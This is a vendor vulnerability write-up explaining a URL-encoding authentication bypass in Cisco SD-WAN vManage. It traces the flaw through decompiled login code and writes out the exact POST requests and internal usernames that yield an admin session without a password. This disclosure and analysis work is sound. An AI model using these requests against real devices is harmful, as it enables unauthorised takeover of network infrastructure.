On Wednesday, September 30, Cisco dropped an out-of-band security advisory highlighting CVE-2026-76504, a brand new critical authentication bypass in the SD-WAN vManage line of products that was disclosed as an exploited zero-day vulnerability. Using this vulnerability, any unauthenticated attacker can obtain a fully valid admin-level session against vManagers by sending a single POST request. VulnCheck’s exploit development team reproduced the vulnerability quickly and built a weaponized exploit and detection artifacts.
VulnCheck Target Intelligence currently finds ~1,500 internet-exposed SD-WAN vManage devices. Exploitation in the wild hasn’t been attributed to any specific threat actors, and there are no legitimate public exploits for CVE-2026-76504 as of October 1, 2026. (There is, however, at least one fake public exploit that our team reviewed and rejected.) A weaponized exploit, YARA rule, PCAP, ASM queries, and Snort and Suricata rules are available to Initial Access Intelligence customers.
Analysis
So, picture this. I'm having a nice calm Wednesday morning before I get a ping in a Slack channel, notifying me of a brand new Cisco Security Advisory being posted. With a deep sigh, I forget about whatever I was doing before and immediately start investigating the advisory. And before I even scroll to the bottom of the page, I get a great hint: it's CWE-177, aka improper handling of URL Encoding. Cisco’s IoCs also line up with this, with an additional viptela-reserved- string in there to help anchor future findings. Luckily, I've had the honor of working on many SD-WAN vulnerabilities this year, so I've grown quite familiar with the software and am able to make quick work of it.
It's been a bad year to be a Cisco SD-WAN device. VulnCheck's research team has analyzed nearly a dozen different SD-WAN vulnerabilities so far this year, including at least five zero-day vulns (CVE-2026-20127, CVE-2026-20182, CVE-2026-20245, and now CVE-2026-76504). Attackers are loving all these vulnerabilities. I keep having to reinstall the same OVA to test a different vulnerability and I really should start taking snapshots.
The request
The text in the advisory states an attack can bypass "an authentication rule" using a crafted HTTP request, and gives one example.
POST /%6a_security check HTTP/1.1
It doesn't say what happens after that request, if we need credentials, or why the encoding even matters at all. The detection guidance gave us two log files, however: serviceproxy-access.log and vmanage-server.log. The rest of this analysis comes from direct testing.
First reproduction: Two different errors
After standing up the target, I blindly attempted to log in with and without the URL encoding variant.
POST /j_security_check HTTP/1.1
j_username=admin&j_password=evilpassword123
{"error":{"message":"Login Error","code":"Failed to login user ","details":"Invalid username or password","type":"Error"}}
And
POST /%6a_security_check HTTP/1.1
j_username=admin&j_password=evilpassword123
{"error":{"message":"Login Error","code":"LOGIN000 ","details":"userInfo is null","type":"Error"}}
A different error code means we're hitting a different code path. Interesting! Something downstream was failing before our credentials were even being compared, in a way that gave an unusual error.
Getting a look behind the scenes
Peeping into the stack via some Docker commands shows us what we're working with and where our requests are going. There’s service-proxy (Envoy) in front and application-server behind it, both of which were running normally. Looking even deeper into the application-server container, we discovered a Java process launched with -c standalone-viptela.xml, jboss.as.standalone, and a classpath rooted from /var/lib/wildfly. After exploring that directory, we confirmed that this was in fact normal WildFly, Red Hat's Java EE application server, running its embedded "Undertow" HTTP engine.
Pulling web.xml from the deployed WAR showed j_security_check listed under a security constraint literally commented <!-- No auth-constraint means everybody has access! -->, alongside a ton of other paths. This is a normal requirement, since a session can't exist until the user logs in. Plus, there's no <servlet> entry mapped to this endpoint either. So the logic behind it is handled entirely by the container itself, not by any external class, which meant the logic we were looking for had to live somewhere else, in whatever actually processes the posted credentials.
Lucky for us, the adjacent standalone-viptela.xml points right to it. We see a security domain named ServerAuthRealm plugged into a JAAS login module: com.viptela.vmanage.server.auth.AppServerLoginModule. This is pretty clearly what we're looking for, Cisco's own code managing the authentication path. The class is bundled inside vmanage-server-1.0.0-SNAPSHOT.jar under WEB-INF/lib. We extracted the class and decompiled it to see what we were working with.
The decompiled login() method confirmed the exact behavior we saw when sending our requests.
} else if (request.getRequestURI() != null && (isBasicAuth
|| request.getRequestURI().contains("j_security_check")
|| request.getRequestURI().contains("samlLoginResponse"))) {
userInfo = this.loginUser(userId, password, request, multiTenantUserIdTools, isSamlUser);
if (userInfo == null) {
throw new LoginException(this.vManageResourceBundle.getString("nms.userInfo.null"));
}
nms.userInfo.null is the variable behind the userInfo is null message we saw from our encoded request, confirming this was the right class to be looking in. The branch above it calls loginUser(), which does the actual database password check and gives us the "Invalid username or password" error when we POST to the literal path.
The condition gating that branch is request.getRequestURI().contains("j_security_check"). getRequestURI() is specified by the Java Servlet API to return the raw request-line path, not the URL-decoded one. %6a_security_check does not contain the literal substring j_security_check due to URL decoding not being performed. So this condition evaluates false when we pass in a URL-encoded path, and loginUser() never runs. We entirely skipped the password check part of the code.
Unfortunately, that doesn't give us admin. There are other checks throughout the rest of the request lifetime that we have to pass and we have to work a little bit harder to earn our admin session.
What happens instead of the password check
Continuing past the branch that didn't run:
} else {
String requestTenantId = multiTenantUserIdTools.getTenant().getId();
String sessionTenantId = (String) request.getSession().getAttribute("tenant-id");
if (!(this.isInternalUser(userId) || CTokenConstants.CTOKEN_USERS.contains(userId)
|| requestTenantId != null && sessionTenantId != null
&& requestTenantId.contentEquals(sessionTenantId))) {
throw new LoginException(this.vManageResourceBundle.getString("nms.userInfo.null"));
}
userInfo = new UserInfo(this, this.getTenantComponent(), userId, password,
multiTenantUserIdTools, request.getServerName(), isSamlUserFromDb);
}
This is the fallback path we reached, written for continuing an already trusted session rather than a fresh login, which is presumably why it skips the password check altogether. It assumes whoever is calling it already has a verified identity from earlier in the request. The only gate left is isInternalUser(userId), which is a substring check against a fixed list.
public boolean isInternalUser(String userSessionId) {
for (String user : AdminConstants.INTERNAL_USERS) {
if (!userSessionId.contains(user)) continue;
return true;
}
return false;
}
AdminConstants.INTERNAL_USERS, extracted from the same jar, contains four strings:
viptela-reserved-dcaviptela-reserved-cloudviptela-reserved-cloudopsviptela-reserved-uc
These accounts, as their names suggest, are Cisco's internal usernames used to authenticate to the web app. Supplying any of these four as j_username satisfies the gate and builds us a fresh login session.
Exploring our usernames
POST /%6a_security_check HTTP/1.1
Host: <redacted>:8443
Content-Type: application/x-www-form-urlencoded
j_username=viptela-reserved-dca&j_password=anything123
HTTP/1.1 200 OK
Set-Cookie: JSESSIONID=YRrfcLzYtJadKoVPjtkiio25sJg4k2VNV3egHs42.fee963f4-d070-47f6-81b7-27ec1bb8c853; path=/; secure; HttpOnly
Content-Length: 0
GET /dataservice/admin/user HTTP/1.1
Host: <redacted>:8443
Cookie: JSESSIONID=YRrfcLzYtJadKoVPjtkiio25sJg4k2VNV3egHs42.fee963f4-d070-47f6-81b7-27ec1bb8c853
Access forbidden: role not allowed
As you can see, minting a session and trying to hit admin endpoints revealed one little hiccup in this master plan. RBAC (Role-Based Access Control) is getting in our way. So we tried the other users. Repeating the test against our four usernames revealed we only have two useful accounts. viptela-reserved-dca and viptela-reserved-cloud hit the RBAC constraint and gave us "Access forbidden: role not allowed" on admin-only endpoints. But, both viptela-reserved-cloudops and viptela-reserved-uc should have the correct permissions. So we threw our last request, substituting in the correct username, hoping we'd get admin-level privileges across the API. And the response speaks for itself:
POST /%6a_security_check HTTP/1.1
Host: <redacted>:8443
Content-Type: application/x-www-form-urlencoded
j_username=viptela-reserved-cloudops&j_password=anything123
HTTP/1.1 200 OK
Set-Cookie: JSESSIONID=XOML8LXZxJE2BtsYOwljDTqbquOk3RZFx4Dr21jA.fee963f4-d070-47f6-81b7-27ec1bb8c853; path=/; secure; HttpOnly
Content-Length: 0
GET /dataservice/admin/user HTTP/1.1
Host: <redacted>:8443
Cookie: JSESSIONID=XOML8LXZxJE2BtsYOwljDTqbquOk3RZFx4Dr21jA.fee963f4-d070-47f6-81b7-27ec1bb8c853
Conclusion
The root cause of the vulnerability is a disagreement between two pieces of code looking at the same string. Cisco's AppServerLoginModule.login() calls HttpServletRequest.getRequestURI(), which returns the raw, undecoded, path, and evaluates it to decide whether or not to run a real password check. On the other hand, WildFly's security-constraint matcher, a separate piece of code that is hit earlier in the same request, decodes the path first and uses that decoded version to decide whether authentication is needed at all. With this mismatch, an attacker can mint a fresh session out of thin air and use it as an easy entry point into an organization.
About VulnCheck
VulnCheck empowers organizations to transcend the challenges of vulnerability prioritization. Our suite of solutions provides product managers, PSIRT teams, and threat hunters with the tools required for accelerated, high-precision operations and infinite efficiency. Recognizing the industry-wide necessity for superior data velocity and accuracy, we deliver high-fidelity insights to the market. We remain committed to surfacing critical intelligence on vulnerability exploitation and emerging trends, leveraging our unique dataset to support the practitioner community. For more research like this, see Death by 20,000 PoCs, Exploiting SharePoint: CVE-2026-55040 and CVE-2026-63520 RCE Chain, and ENDLESSDOORS Is Phoning Home. Pick Up. Sign up for the VulnCheck community today to get free access to our VulnCheck KEV, enjoy our comprehensive vulnerability data, and request a trial of our Initial Access Intelligence, IP Intelligence, Canary Intelligence, and Exploit & Vulnerability Intelligence products.